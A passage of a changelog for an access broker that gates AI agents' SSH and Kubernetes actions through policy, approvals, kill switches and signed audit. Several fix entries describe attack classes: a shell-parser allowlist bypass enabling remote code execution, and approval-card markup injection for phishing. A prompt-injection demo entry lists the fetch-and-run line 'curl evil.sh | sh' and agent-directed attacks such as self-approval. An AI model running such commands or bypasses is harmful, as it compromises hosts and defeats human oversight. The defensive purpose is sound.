synchronous=NORMAL, which fsyncs only at a WAL checkpoint, so a committed freeze whose frames were not yet checkpointed was lost on power loss / kernel panic before the auto-checkpoint — and a lost freeze fails open (the blocked subject regains access on restart). A freezeAdd/Removenow forces a full WAL checkpoint (fsync of the WAL and the DB) before returning success, so a freeze that the API acknowledged survives power loss. Grants and approve-and-learn waivers stayNORMAL— a lost widening fails safe. - Audit entries are bounded so a redaction-expanded record can't brick startup
(#278) — redaction runs on every entry and expands free-text (
AUTH=a→AUTH=[REDACTED:env-assignment]), while the command was bounded only by the 64 KiB request body. A crafted ~63 KiB command ofAUTH=…tokens inflated the serialized entry past the 256 KiBbufio.Scannerthe readers use; the running process kept appending (its chain is in memory), but the next restart failed —restoreChainreturnedbufio.ErrTooLong, and with audit required and fail-closed the service refused to boot (a latent, caller-triggered DoS thataudit repaircould not fix, since the line is valid JSON).Appendnow trims the free-text fields (longest first, with a...[TRUNCATED]marker, still under the entry signature) to a single-sourced size below the reader buffer, so every line the writer emits is always readable.
Internal¶
- Dependency bumps (#289) —
github.com/coreos/go-oidc/v33.19.0 → 3.20.0 andgolang.org/x/crypto0.53.0 → 0.54.0 (plus thex/net,x/sysandx/textindirects they pull). No behaviour change; both sit on the OIDC/SSH paths, so they ride the release rather than a silent bump. - Stale binary/feature docs corrected after the frontend unification (#273,
#274, #275) — OPERATIONS §1 listed the compiled binaries without
approval-bridge, whichmake installbuilds and the same document tells operators to run; theinitcmdgodoc still claimedinitdid no~/.ssh/configimport or MCP registration, both of which phase 2 added as opt-in flags; and the Dockerfile header miscounted the prebuilt binaries. - High-availability design study (#145) — a new
docs/HA.mdmaps what actually blocks running two replicas: a state inventory across the broker / control-plane / signer, the four true blockers (live SSH sessions, the kill-switch freeze set, the per-process audit chains, the behavior tracker), the medium items (approvals and grants, whose in-memory-map-as-source-of-truth invariant HA has to invert), and a minimum viable slice in dependency order. Documentation only — infrabroker stays deliberately single-instance, and each blocker is now tracked as its own scoped issue under the HA milestone. - Sealed exec named as a designed future control (#144, Part A) — THREAT_MODEL
gap #1 documents the "sealed exec" mechanism (session
force-command→ a signer-signed{nonce, command, expiry}envelope → a host-side verifying shim) that makes session-execfiltering host-enforced and survive a compromised broker. Documentation only; the implementation landed as Part B — see the sealed-exec entry under Added. - broker-ctl HTTP/TLS de-duplication + bounded response reads (#212) — the
~marshal → request → read → status-check → decode block that every
broker-ctlcommand repeated is now a singledoJSONhelper, and every response read is bounded (io.LimitReader, 4 MiB) instead of an unboundedio.ReadAll, matching the internal clients — a hostile or malfunctioning signer/control-plane can no longer make the CLI allocate without limit.broker-ctlalso drops its privatebuildTLSConfigfor the sharedinternal/auth.ClientTLSConfig, which pins TLS 1.3 as the client minimum (the old copy set none). No command behaviour or output changes.
[v2.1.0] - 2026-07-10¶
Correctness and hardening follow-up to the v2.0.0 secure-by-default major: the
kill switch now interrupts a busy PTY session and covers a frozen forwarder's own
CN and /v1/clusters; the Kubernetes path audits dry-runs and stops leaking the
API-server address; session recording is observable and can be made strict; and
config-loading, CA-custody preflight, and revocation-poll observability are all
tightened. Upgrade note: the control-plane four-eyes audit is now fail-closed
by default (audit_fail_mode=closed), completing the audit flip v2.0.0 left out —
set audit_fail_mode=open to keep the previous log-and-continue behaviour.
Performance¶
- Coalesce the per-connection host-table refetch (remote mode) (#208) — every
one-shot
Execute/OpenSessionin remote mode did a synchronousGET /v1/hostsand reparsed the whole host table before signing, so a singlessh_executeto a direct host cost two signer round-trips on top of the per-hopPOST /v1/sign. The refetch is now coalesced with a short freshness TTL (~3s); the 5-minute background poller keeps the table fresh and/v1/signis the authoritative gate, so under sustained loadExecuteissues one signer round-trip in the common case. Session-exec preflight still refetches uncoalesced, so a host-connectivity change is caught promptly.
Security¶
- Secure-by-default: warn on allow-all RBAC and ignore
self_approveon_default(#207) — two config foot-guns. An emptycallerstable means allow-all (the one genuine fail-open RBAC config) but only the opt-inbroker-ctl doctor --securityflagged it; the signer now logs a clear allow-all warning at boot. Andcallers._default.self_approve: trueused to waive four-eyes for every unlisted CN through_defaultinheritance —self_approveis now honoured only on an explicit CN. - Session recording is observable, can be strict, and the recorder race is
fixed (#206) — interactive-session recording write failures were silently
discarded with no signal, so recording (a potential compliance control) could
fail open unnoticed; separately, the recorder was wired onto the session after
it was published, a small data race with a concurrent kill/shutdown. Write
failures now increment
recording_write_errors_total; a newsession_recording_strictmode aborts the session on any recording failure (open or write) instead of tolerating it; and the recorder is attached before the session is published (go test -race-clean). - Control-plane four-eyes audit is fail-closed by default (#205) — the control
plane had no
audit_fail_mode: it logged-and-continued, so if its audit disk filled a human could approve, the certificate still issued, and the who approved record survived only on stderr — inconsistent with the signer's fail-closed audit (#184). The approval decision and the grant that hands out a certificate/token are now gated: withaudit_fail_mode=closed(the default) an approval whose audit append fails is rejected (503) rather than granted; setaudit_fail_mode=opento keep the previous log-and-continue behaviour. - k8s dry-runs are audited and transport errors hide the API server (#204) —
the Kubernetes path had two gaps: a dry-run returned its policy decision without
any broker audit entry, so an agent could enumerate the whole k8s ActionPolicy
surface (allowed / approval-gated verbs, resources, namespaces) leaving no
trace; and a transport error wrapped the raw
*url.Error, leaking the full API-server address to the model. Dry-run decisions now auditdry_run_allowed/dry_run_denied(like the SSH path), and a connection failure returns only the method, REST path, and an address-free cause. - Freeze coverage closes the forwarder and
/v1/clustersgaps (#203) — the signer's freeze check ran only on the resolved caller, so a trusted forwarder acting viaon_behalf_ofwas never freeze-checked on its own mTLS CN — freezing a compromised control plane was a near no-op./v1/signand/v1/hostsnow also test the raw peer CN, andGET /v1/clusters— previously unchecked — now denies a frozen caller the cluster connectivity (api_server, inlined CA PEM, groups) it could otherwise still enumerate. - Kill switch interrupts a busy shell/PTY session promptly (#202) — a session
with an interactive command in flight closed its SSH shell before the
transport, so teardown blocked on the shell mutex the running command held for
up to the 120s exec timeout. Freezing a compromised caller with a live PTY (or a
slow exfil) therefore could not interrupt it promptly, and
Engine.Close()on SIGTERM could hang. The connection is now torn down first — the in-flight command returns in milliseconds — andcloseAllcloses its victims outside the manager lock so one busy session can no longer stall shutdown for every other. - Bound the ssh-agent CA signer's socket I/O (#241) — the agent-backed CA
(
ca_keys.type=agent) set a dial timeout but no deadline on the subsequent agent-protocol round trips (list keys + sign), so a wedged or hostile agent could block a sign request — and leak its handler goroutine — indefinitely. An overall I/O deadline (agentOpTimeout, 10s) now bounds it, matching the AKV backend's bounded call. - Approval bridge renders Slack cards injection-free (#239) — the Slack
approval notification put the broker-supplied command/host/caller into a
Markdown block, so a crafted
require_approvalcommand could inject a clickable link (<url|text>) or break out of its code span and phish the human approver. Those fields now render in aplain_textblock (Slack mrkdwn has no backslash escape, unlike the Teams Adaptive Card fix #174), so the approver always sees the exact command with no injectable markup. - Grant creation refuses a frozen subject and is serialised with freezes (#224)
—
POST /v1/policy/hosts/{host}/grantsnow takes the config write lock and rejects (409) a grant scoped to acaller/end_userthat is currently frozen. Previously it took no lock and never consulted the freeze set, so a grant added concurrently with — or after — a freeze survived the freeze's revocation and reactivated the moment the subject was unfrozen. doctor --securityredact check tests efficacy, not presence (#223) — aredactblock that setsdisable_defaultswith nopatternsis a zero-rule no-op (secrets stored verbatim), yet the preflight reported PASS for any present block. It now WARNs on that no-op case and PASSes only when the redactor actually has rules (built-in defaults on, or patterns defined).- Approve-and-learn waiver is persisted only after the issued-audit gate (#222)
— on the SSH and Kubernetes sign paths the self-approval marker and the
approve-and-learn waiver (a state_db-persisted, restart-surviving approval
bypass) now run only after a certificate/token was issued and its
issuedrecord durably committed. Previously they ran before the gate, so a request whose issuance was withheld by fail-closed audit could still leave a durable waiver behind with its creation record dropped. GET /v1/revocationsprovenance is admin-only (#221) — the free-text freezereasonand the freezing admin's CN (frozen_by) are now returned only to thereload_callerstier. An ordinary (or v2.0.0 default-denied) broker sees just the subject (kind,value) andfrozen_at, which is all it needs to match and kill sessions — it no longer enumerates every operator note and admin identity across the fleet.- Harden the atomic config rewrite (#220) — the signer policy-mutation write
and
broker-ctl's config write now create the temp file exclusively with a random name (never a fixed<config>.tmp), set its mode explicitly, and fsync the file and its directory before/after the rename. Previously a stale or planted<config>.tmpcould have its wider permissions adopted over the secret (signer.jsonholds CA-key/audit-key paths), and a crash mid-write could truncate the config. - Reject duplicate JSON keys in config files (#216) —
confchecknow fails closed when any config object carries the same key twice, instead of silently resolving it last-wins. Previously the typed loader (encoding/json, last-wins) and the comment-preserving policy rewrite (hujson, first-match) could resolve a duplicated key to different occurrences, so aPOST/DELETE /v1/policy/hostsallowlist edit could return200— and write apolicy-changedaudit record — while the occurrence the runtime actually enforces stayed untouched. A config with a duplicated key now fails to load (signer refuses to start) or edit (the mutation API returns an error and auditspolicy-failed). doctor --securityflags localpemCA custody in any group (#218) — the preflight's CA-custody check previously inspected onlyca_keys._default(or the legacyca_key), so a per-grouppemoverride alongside a hardware/KMS_defaultfalse-PASSed even though that group's hosts are signed by a local key on disk. It now fails when anyca_keysgroup (or the legacyca_key) usespem, naming the offending group.
Fixed¶
audit verify --allignores theaudit repairquarantine file (#245) — segment discovery globbed<log>.*, which also matched the quarantine fileaudit repairleaves behind (<log>.corrupt-<ts>), so verifying a correctly-repaired chain ranVerify()over the quarantined (malformed) bytes and falsely reported the chain as broken. Discovery now recognises only true rotation segments (a<log>.<timestamp>suffix), single-sourced with the rotation format.- Document that
state_dbpersists the freeze set (#227) — the signerstate_dbfield doc (and the generated config reference) listed only grants and waivers, omitting the kill-switch freeze set it also persists — the persistence a volatile freeze is refused without. Comment corrected andconfig.mdregenerated. liveSession.close()is now idempotent (#226) — guarded with async.Onceso the concurrent teardown paths (kill switch, reaper,closeAll, and the fail-closedOpenSessionrollback) can never double-close a session's conn/shell/recorder or race on the recorder field. Benign in the current build (recording starts after the audit gate), but a latent data race otherwise.- README no longer lists "audit fail-open" as a non-goal (#219) — corrected a
stale Security-section statement that contradicted the v2.0.0 fail-closed-by-
default audit flip (#200); the linked
THREAT_MODEL.mdalready documents fail-open as an explicit opt-out.
Added¶
- Kill-switch revocation-poll observability (#217) — the broker now exports
broker_revocation_poll_errors_total(failed freeze-set fetches) andbroker_revocation_poll_last_success_timestamp_seconds(freshness gauge), so a stopped or persistently-erroring revocation poll is visible on/metricsand alertable, instead of surfacing only as a log line while the live-session kill switch silently degrades.
[v2.0.0] - 2026-07-10¶
First major release. The headline is secure-by-default: the three fail-open
defaults an operator could reasonably mistake for protection — callers RBAC,
audit-append, and the kill-switch freeze without state_db — are flipped to
fail-closed, each with a documented opt-out. Alongside them ship the kill switch
/ revocation, in-conversation approvals, the multi-platform approval bridge,
per-agent IdP identity, ssh-agent CA custody, JSONC config files, and the
doctor --security preflight.
Breaking changes¶
callersRBAC is now default-deny (#184) — once the signer'scallerstable is non-empty it is authoritative: a broker mTLS CN absent from it can no longer see (GET /v1/hosts) or sign (POST /v1/sign) for any host, and the same applies to the Kubernetes cluster path (/v1/clusters, k8s signing). Previously an unlisted CN had no group restriction (it reached every host) unless a reserved"_default"entry was present. Migration: list every broker CN incallerswith itsallowed_groups; a CN you forget now fails closed. To keep the old wide-open behavior for a specific baseline, add a"_default": {"allowed_groups": [...]}entry with groups. Omittingcallersentirely (an empty table) still means no RBAC — every caller is unrestricted — which is the right default only for a single-broker deployment. An explicit"_default": {"allowed_groups": []}is now redundant with the default and can be dropped.broker-ctl doctor --securityWARNs when nocallerstable is set, or when a_defaultgrants groups.- A volatile freeze is now refused (#184) — when the signer has no
state_dbthe kill-switch freeze set lives only in memory and is lost on restart (a frozen subject would silently regain access — fail-open).POST /v1/freezenow returns409 Conflictin that case unless the request opts in with"allow_volatile": true(broker-ctl freeze --volatile, also onsession kill). Migration: setstate_dbin production (recommended regardless, for grant/ waiver/approval persistence); pass--volatileonly for a deliberately ephemeral, lab-style freeze. The signer also logs a startup warning whenstate_dbis unset. - Audit append is now fail-closed (#184, closes #133) — when the audit log
cannot be written, the audited action is denied instead of proceeding
unrecorded. New
audit_fail_mode: "closed" | "open"on both the signer and broker configs, defaultclosed. On the signer a failed issuance audit means the certificate/bound token is never returned (500 "audit unavailable"), which transitively gates one-shot exec, sessions, and file transfers; on the broker a failed action-completion record withholds the result (500). A newaudit_blocked_totalmetric counts denied actions (alongside the existingaudit_append_failures_total). Migration: keep the audit filesystem healthy — a full/unwritable audit disk now stops actions until resolved (see the "audit unavailable" runbook in Operations); setaudit_fail_mode: "open"to restore the pre-2.0 log-and-proceed behaviour. Signer 429 rate-limit rejections remain deliberately un-audited and are unaffected.
Added¶
- Kill switch / revocation (#117) — the signer gained
POST /v1/freezeandPOST /v1/unfreeze(authenticated toreload_callers) to freeze or release a caller CN, end-user, session id, or certificate serial; freezing a caller/end-user also atomically revokes its runtime grants and approve-and-learn waivers. A frozen subject is denied on/v1/signand/v1/hosts, andGET /v1/revocationsstreams the freeze set. Each broker polls it (revocation_poll_seconds, default 10, remote mode) and force-closes live sessions matching a frozen subject. - In-conversation approvals (#118) — with
approval_via_elicitation(stdio frontend, off by default), arequire_approvalcommand becomes an MCP elicitation the human answers in the client instead of an out-of-band denial. - Machine-readable dry-run decision (#119) —
dry_run=trueonssh_executereturns a structured decision carrying a stablereason_code(allowed,needs_approval,command_denied,allowlist_no_match, …) so an agent can branch on the outcome without parsing prose. - Approval bridge (#120) —
cmd/approval-bridgepresents pending approvals on Slack (Socket Mode, outbound-only) and relays Allow/Deny under its own mTLS approver identity; the control plane still enforces consumed-once and four-eyes. A convenience, not a new trust root. - Per-agent IdP identity (#121) — the OAuth HTTP frontend resolves each
agent's
client_credentialstoken to that agent's own caller identity, so distinct agents are never collapsed into one shared caller. - ssh-agent CA custody (#122) — a new
ca_keysbackend,type: "agent", keeps the CA private key in a running ssh-agent (YubiKey PIV / SoftHSM / TPM viassh-add -s);public_key_pathpins which agent key is the CA and the signer process never holds key bytes. Supports Ed25519 CAs (unlike AKV). - Startup warning for ignored local-mode config (#178) — when the broker
runs in remote mode (a
signerblock is set) but the config also carries local-mode fields —ca_key/ca_keys,command_policies, or per-host policy (command_policy,allow_sudo,principal, …) — it now logs a single aggregated warning naming them (and the host(s) they sit on). Those fields are silently ignored in remote mode (inventory and policy come from the signer); the warning stops an operator from believing a local policy is enforced when it is not (the same error class as the_defaultfirewall gap, #82). Warning only — no behavior change to signing or policy resolution. - Mesh networking guide (#137) — new
docs/MESH.mdon running infrabroker over a NetBird / Tailscale (WireGuard) overlay: the mesh provides the network path, infrabroker the session layer (per-op ephemeral certs, signer-side policy + approvals, recording, signed audit). Zero code — the broker dials plain TCP, so any mesh-routed path works, and stable overlay IPs makesource_addresspinning precise. States exactly which controls are host-enforced (one-shotforce-command) versus broker-enforced (session command filtering, gap #1). broker-ctl doctor --securitypreflight (#134) — an offline production-hardening check (no keys, no network) that reads the local config files and reports PASS/WARN/FAIL with a one-line fix for each item of thedeploy/README.mdchecklist:callersRBAC default-deny,sign_rate_limit_per_min, CA custody not local-PEM,state_db,redact,monitor_listennot public, and the control-planesign_callersallowlist when approvers exist. Exits non-zero on any FAIL. The signer additionally logs a startup warning when the sign rate limit is unset.- Single-binary local-mode quickstart (#182) — new
docs/QUICKSTART.mdtakes a newcomer fromgit cloneto their first policy-gatedssh_executein under 10 minutes using one binary (mcp-broker, stdio) and oneconfig.jsonin local mode — no signer service, no mTLS PKI. Ships a committedconfig.minimal.example.json(validated by the confcheck anti-drift test), an MCP-client registration snippet, adry_runfirewall demo, and a "when to move to remote mode" graduation section. Linked from the README and mkdocs nav. Docs/examples only. - JSONC config files (#183, part 1 — load) — every config file
(
config.json,signer.json,control-plane.json,broker-ctl.json) now accepts//and/* */comments and trailing commas (JWCC) when loaded — on startup and on every reload path — so a config can be annotated with real comments instead of_*comment keys. Plain JSON keeps loading byte-for-byte unchanged and a typo'd key still fails closed; the legacy_*comment keys keep working but are now deprecated in favour of real comments. (Comment-preserving config rewrites — the signer policy-mutation API andbroker-ctledits — and the conversion of the shipped.example.jsonfiles land in a follow-up.) - Comment-preserving signer policy mutations (#183, part 2 — signer writes) —
the signer's validated policy-mutation API (
broker-ctl policy add/remove, which persistssigner.jsonatomically) now rewrites the file with a format-preserving JSON Patch (confcheck.Patch, via hujson), so an operator's//comments, key order, and formatting survive an allow-rule edit instead of being flattened by a parse→marshal round trip. (broker-ctl's own host/CA/caller edits and the.example.jsonconversion remain the last follow-up.) - JSONC config, completed (#183, part 3 — broker-ctl writes + examples) —
broker-ctl's config edits (host/ca-keys/callersadd & remove) now rewrite the file with the same format-preserving JSON Patch, so an operator's//comments survive a host/CA/caller edit (they were previously flattened by the whole-map re-marshal). And the five shipped*.example.jsonfiles are converted from_*-key comments to real//comments — self-documenting JSONC that the anti-drift tests validate through the new loader. This closes #183: every config file accepts JSONC on load, every rewrite path preserves comments, and the examples demonstrate the canonical style (legacy_*comment keys still load, deprecated). - Prompt-injection live-fire demo (#135) — the compose demo gains a
control-planeservice and thedemohost ashell_parseallowlist +require_approvalpolicy, and a newexamples/compose/prompt-injection-demo.shruns a deterministic, scripted (not a live LLM) adversarial sequence that shows every attack failing and names the control that stops it, on the one-shot force-command path:curl evil.sh | sh(shell_parse splits the pipe), newline smuggling (control-char rejection), "dump the broker" (distroless, no CA key — nothing to exfiltrate), and self-approval (four-eyes). Brings the stack up, asserts, and tears down — CI-gatable.
Changed¶
- Per-agent action-budgets framing (#123) — the README and
docs/OPERATIONS.mdreframe the shipped host/command/approval controls as per-agent action budgets; documentation only, no behavior change.
Security¶
- Command-firewall allowlist bypass with
shell_parse(RCE) — withcommand_policy.shell_parseenabled, the parser that decomposes a command for allowlist matching under-modeled what the baked certificate force-command actually runs. A>&FILE/<&FILEredirect (a file write in bash/zsh) was misclassified as a safe fd-duplication and stripped, and a standalone environment assignment orexport/declarebefore an allowed command was invisible to the policy. Either let an anchored allowlist authorizeecho x/git fetch originwhile the force-command wrote an arbitrary file or injectedGIT_SSH_COMMAND/LD_PRELOAD/PATH— remote code execution on the target host. The parser now requires an fd operand for>&/<&and rejects environment declarations and standalone assignments (fail-closed). Only hosts withshell_parse=truewere affected. - Teams Adaptive Card escapes broker-supplied fields — the default Teams
notification format (Adaptive Card) renders
Fact.valueas Markdown, so a crafted command/host could inject a clickable link or hidden formatting into the approver's notification (phishing / command obscuring). The broker-supplied fact values are now Markdown-escaped, matching themarkdown:falsedefense the legacy MessageCard path already had (default-path sibling of the earlier MessageCard fix). - Session lifetime capped at the certificate TTL (#124) — the broker's
reaper now closes a live session when the certificate that opened it expires,
bounding a session's exposure to the cert TTL (≤
max_ttl_seconds) instead of the longersession_max_seconds. - approval-bridge redacts the command before the chat platform: the
approval-bridgenow masks secrets in an approval's command (using the built-in redaction patterns) before presenting it on Slack, matching the control plane's webhook/Teams notifier. Previously it reposted the original command from/v1/approvalsverbatim, so a secret passed inline in arequire_approvalcommand leaked in cleartext to the chat channel even withredactenabled (the Teams/webhook sink and the signed audit masked it). - Broker k8s audit no longer embeds the caller in the Command token stream:
the k8s execution audit records the caller identity only in the structured
callerfield, not as auser=token in the space-delimitedcommandstream. The caller id (the OIDC user-claim value) is not charset-validated at the broker, so a whitespace-bearing identity could otherwise have forged tokens into a hash-chained entry (the class the signer already guards, #67). Defense in depth; the identity is unchanged and still audited.
Fixed¶
- k8s cluster-scoped scope fidelity: a client-supplied namespace on a
cluster-scoped resource (
nodes,namespaces,persistentvolumes) is now dropped before the canonical action<verb> <resource> <ns>/<name>is built, so the policy decision, the Ed25519-signed audit record, and the human approval reflect the true cluster-wide scope. Previously the namespace rode into the canonical — making a destructive action (e.g.delete nodes) look namespace-scoped to the approver and letting a namespaced deny rule be evaded — while execution silently ignored it. Normalized symmetrically on the broker and the signer, so the anti-mismatch guarantee still holds. makebuildsapproval-bridge: the seventh binary (cmd/approval-bridge, #120) is now part ofmake build/install/dist, so the installer tarball ships it alongside the other binaries — matching the goreleaser release archive, which already did. Previously onlygo installor the release archive produced it, thoughdocs/OPERATIONS.mddocuments running it.- Local mode rejects an over-cap
max_ttl_secondsat load (#138) — the single-binary (local) broker now validates the globalmax_ttl_secondsagainst the 15m certificate cap at startup, mirroringcmd/signer, instead of letting every issuance fail at the first sign request. (The dangling-jump, unknown-group and per-host TTL checks were already enforced at load viaCompileHostPolicies; this closes the last divergence from the signer's load-time validation.)
Internal¶
- Audit chain verification moved into
internal/audit(#177) — the hash-chain, Ed25519-signature, cross-segment linkage and trailing-corruption logic thatbroker-ctl audit verify/repairrelied on now lives in the same package that produces the log (Verify,VerifyEntry,VerifySegments,FileBounds,TrailingCorruption), with a producer→verifier round-trip test. A change to how entries are written that would break verification now fails a unit test next to the writer instead of surfacing later on an operator's machine;broker-ctlbecame a thin consumer with byte-identical output. - De-duplicated security-sensitive helpers across broker↔signer (#179) —
shell-quoting (
ShellQuote), the elevated-command builder (BuildElevatedCommand) and the RBAC group intersection (GroupsIntersect) existed twice, once ininternal/signerand once copied intointernal/broker(behind an incorrect "circular dependency" comment). They are now single, exported implementations ininternal/signer, used by both — so thesudocommand line that ends up in a CA-signed force-command and the one sent on the session/file-transfer channel can no longer silently diverge. The retained quoting implementation preserves input bytes exactly (the broker's rune-copy variant would have mangled invalid UTF-8); no behavior change for valid input. - Re-established the 80-line function limit (CODING_STYLE §6, #181) — the
documented length check counted
func-to-func, mis-attributing package-level code to the preceding function (it reported impossibilities like a 327-linedecideOne). Replaced it with a brace-accurate check (funcline → closing}) that also skipsmain()and an explicit// codingstyle:long-function: <reason>in-body marker. Refactored the genuinely over-long functions by extracting cohesive helpers —Register/RegisterK8s(one function per MCP tool),OpenSession(openShellForMode,startSessionRecording),NewEngine(initRemoteMode,openAuditLog) — and marked the few cohesive/critical ones (the/v1/signhandler, the marker-framedShellSession.Exec, CLI commands) with a reasoned exception. Also unifiedmcpserver's tool-error construction on thetoolErrorhelper. Pure refactor: tests unchanged, docgen output and the MCP tool surface byte-identical. - e2e elevation lab (#140) — new
lab/run_sudo_lab.shexercises the sudo + PTY path end to end (previously only unit-tested):ssh_execute(sudo=true)and amode=ptysession opened withsudo=true. It stands up a local sshd and, instead of real NOPASSWD sudoers (which need root), installs asudoshim on the sessionPATHvia sshdSetEnv, so the broker's actual elevation line (sudo -n -- /bin/sh -c …) runs on the host and is asserted through the shim log plus thesudo:rootlabel in the signed audit trail.lab/mcpclientgained aLAB_SUDO=1scenario.
[v1.38.0] - 2026-07-04¶
Security & correctness audit pass, plus an explicit audit-log recovery command.
Added¶
broker-ctl audit repair— recover a signer whose audit log had its final record torn by a crash. A truncated, unparseable trailing line makes the signer refuse to boot (by design: on a tamper-evident, hash-chained log a truncated tail is indistinguishable from a truncation attack). The command is the explicit operator recovery path: dry-run by default;--applyquarantines the corrupt tail to<log>.corrupt-<timestamp>and truncates the log to the last well-formed record so the signer can boot, preserving the hash chain;--keyverifies the kept prefix's signatures first. It refuses mid-file corruption (not the startup-brick case). The signer stays fail-closed — recovery is never automatic. Runbook indocs/OPERATIONS.md.
Changed¶
release.ymlnow publishesserver.jsonto the MCP Registry automatically after every tagged release: amcp-registryjob (authenticated with GitHub Actions OIDC, no PAT) that runs once thereleasejob has pushed the ghcr image, so the registry can validate OCI ownership. Manualmcp-publisher publishis no longer part of the release runbook.
Fixed¶
- k8s MCP input validation:
k8s_listlabel/field selectors andk8s_logscontainerare now length- and null-byte-validated like every other tool field (previously they reached the API-server query string without the input gate). No injection was possible — query values are percent-encoded — but the stdio frontend had no length bound; this closes the unbounded / null-byte gap. - Policy recommender double-count: a single human approval, written to the
audit log twice (the approval-decision and the consumption), was counted as
support 2 in
broker-ctl policy recommend, halving the effective--min-countfor approved commands. Occurrences are now deduplicated by approval id. - Global
max_ttl_secondsload check: a global cap above the 900s certificate limit is now rejected at load (mirroring the per-host cap), instead of failing every issuance at request time for a host with no per-host cap.
Internal¶
- Removed dead test-only session accessors and an orphaned elevation-label helper (coverage ported to the production ownership-gated paths).
.gitignorenow excludescontrol-plane.json, so a real, secret-bearing control-plane config cannot be accidentally committed.
[v1.37.0] - 2026-07-04¶
Distribution release: prebuilt binaries, an official OCI image and a containerized demo. Installing no longer requires a Go toolchain.
Added¶
- Prebuilt release binaries (goreleaser): one archive per platform
(
linux/darwin×amd64/arm64) with all six binaries and the example configs, pluschecksums.txt. The installer tarball for the systemd path (infrabroker-v<ver>.tar.gz, consumed bydeploy/install.sh) is unchanged and still attached to every release. - Official OCI image
ghcr.io/luisgf/infrabroker(multi-arch linux/amd64+arm64, distroless/static, nonroot): the six binaries withmcp-brokeras entrypoint. Carries theio.modelcontextprotocol.server.namelabel the MCP Registry uses to validate package ownership (server.jsonbumped to referenceghcr.io/luisgf/infrabroker:1.37.0). - Compose demo (
examples/compose/,make demo): signer + toy sshd target + broker with auto-provisioned PKI — run a policied command through the full remote-signing topology in 5 minutes, thendown -vand it is gone. Works with docker compose and podman compose (rootless). - docs/CONTAINERS.md: image usage (stdio MCP in a container, other
binaries via
--entrypoint), the demo walkthrough, podman notes, and the explicit demo≠production and k8s-target≠k8s-runtime boundaries. - README Install section: release binaries,
go install, container and one-clickclaude mcp addlines.
Changed¶
release.yml: goreleaser now owns the GitHub release (archives, checksums, image push to ghcr and multi-arch manifests);make diststill builds the installer tarball, attached viarelease.extra_files. Workflow gainspackages: write.
[v1.36.0] - 2026-07-04¶
The project is renamed ssh-broker → infrabroker: the broker outgrew SSH (Kubernetes tools shipped in v1.2x, databases are under study) and the old name hid half the surface. No functional changes.
Changed¶
- Rename to
infrabrokereverywhere it is not history or an on-disk format: Go module path (github.com/luisgf/infrabroker), Makefile/dist artifact (infrabroker-<version>.tar.gz), CI workflows, docs site (luisgf.github.io/infrabroker), systemd units (infrabroker-*.service), system users/group (infrabroker-<svc>,infrabroker), and install paths (/etc/infrabroker,/var/lib/infrabroker). The GitHub repository is renamed; old URLs andgo getpaths redirect. - Recording header extension renamed
ssh_broker→infrabroker. Recordings written by older versions keep the old key — ASCIIcast players ignore unknown header fields either way, butjqreview of old.castfiles must still queryssh_broker. - Suggested host-side CA filename in OPERATIONS.md is now
/etc/ssh/infrabroker_ca.pub; existing hosts keep whateverTrustedUserCAKeyspath they already use. - Not renamed: binary names (
mcp-broker,broker,broker-ctl,signer,control-plane) — they never carried the project name — and historical changelog entries, which describe what those releases actually shipped. - Existing deployments must migrate manually — the installer does not
rename users/paths/units on top of a pre-rename install. See "Upgrading from
ssh-broker (pre-rename, ≤ v1.35)" in
deploy/README.md.
Added¶
- MCP registry manifest (
server.json). Repo repositioning shipped alongside: GitHub topics, README badges and the new tagline ("Infrastructure access broker for AI agents — SSH & Kubernetes").
[v1.35.0] - 2026-07-04¶
Deployment privilege separation, a Kubernetes authorization fix, and a hardened
docs anti-drift gate. Each service now runs as its own system user, a
Kubernetes deny rule now actually blocks (it was silently ignored), and the
reference-doc drift gate is enforced on a protected main.
Security¶
- Kubernetes
denyrules are enforced again.deny-effect ActionPolicy rules were compiled into an allowlist policy's deny slice, which the evaluator only consults for denylist-mode members — so adenyoverlapping a broadallow(e.g.allow get *+deny get secrets) was silently ignored and the allow won. Deny rules are now compiled into a dedicated denylist member so "deny wins" holds, andCommandPolicy.Validaterejects a deny pattern on an allowlist policy (or an allow on a denylist) at config load so the class cannot recur. Only affects clusters whose rules carve adenyout of a broaderallow; default-deny clusters were never exposed. - One system user per service (
ssh-broker-signer,ssh-broker-control-plane,ssh-broker-mcp-http) in the systemd units and the installer, so a compromised broker frontend can no longer read the signer's CA key, policy, grant state, audit seed, or mTLS key — nor impersonate another service or the admin CLI. The sharedssh-brokergroup remains only for traversing/etc/ssh-brokerand reading the shared mTLS CA certificate. The legacy singlessh-brokeruser is no longer created or used. - Per-service PKI subdirectories: each private key lives in
/etc/ssh-broker/pki/<svc>/(0750 root:ssh-broker-<svc>), readable by that service alone; only the shared CA cert stays at thepki/root. Admin CLI material moves topki/admin/(root-only) so no service can impersonate the admin (broker-ctl.example.jsonupdated accordingly). - Per-service config groups:
/etc/ssh-broker/{control-plane,config}.jsonare readable only by their own service (they can carry secrets — OIDC client, webhook tokens).
Fixed¶
- Secret redaction no longer masks the bare shell
PWD=working-directory variable (MYSQL_PWD=/DB_PWD=still masked); it was degrading the forensic value of every recording andenvdump. deploy/install.sh's stray-key migration warning is NUL-safe (key filenames with spaces stay intact) and no longer swallows afind/grepfailure as a silently-absent security warning.tools/docgenprunes orphaned reference pages, so a removed or renamed generator surfaces as a drift-gate failure instead of shipping a stale page.
Changed¶
deploy/install.shcreates the per-service users/groups, converges ownership of state directories and configs on upgrade (idempotent), and warns about private keys still flat underpki/that must be moved into the per-service subdirectories. Migration steps from the ≤ v1.34 single-user layout are indeploy/README.md§Upgrades.- Docs anti-drift gate hardened and enforced. The gate now uses
git status --porcelain(catching untracked and deleted generated pages, not just tracked edits);mainis a protected branch withbuild,govulncheckandcheckas required status checks; and a newmake verifytarget runs the full local pre-push gate. THREAT_MODEL.mddocuments the colocated-host process-isolation posture,OPERATIONS.mddocuments the per-service deployment layout and the least-privilege k8s minter-token permissions, and the deploy skill preflight checks the per-service key placement.
[v1.34.0] - 2026-07-03¶
Kubernetes target (credential-broker): the signer can now broker access to Kubernetes clusters, reusing the whole control plane (identity, RBAC, approval, grants, signed audit) with a structured action grammar instead of the shell one. The agent never holds a cluster credential — the signer mints a short-lived bound ServiceAccount token per authorised action and the cluster's native RBAC enforces it.
Added¶
- Six curated MCP tools, registered only when the broker sees a cluster
(an SSH-only deployment does not offer them):
k8s_list_clusters,k8s_get,k8s_list(label/field selectors, limit),k8s_logs(container, tail, since) — read-only — plusk8s_apply(server-side apply) andk8s_delete, both policy- and approval-gated. No pod-exec, port-forward, watch, or sessions in this phase. - Per-cluster ActionPolicy, default-deny. Structured rules
(
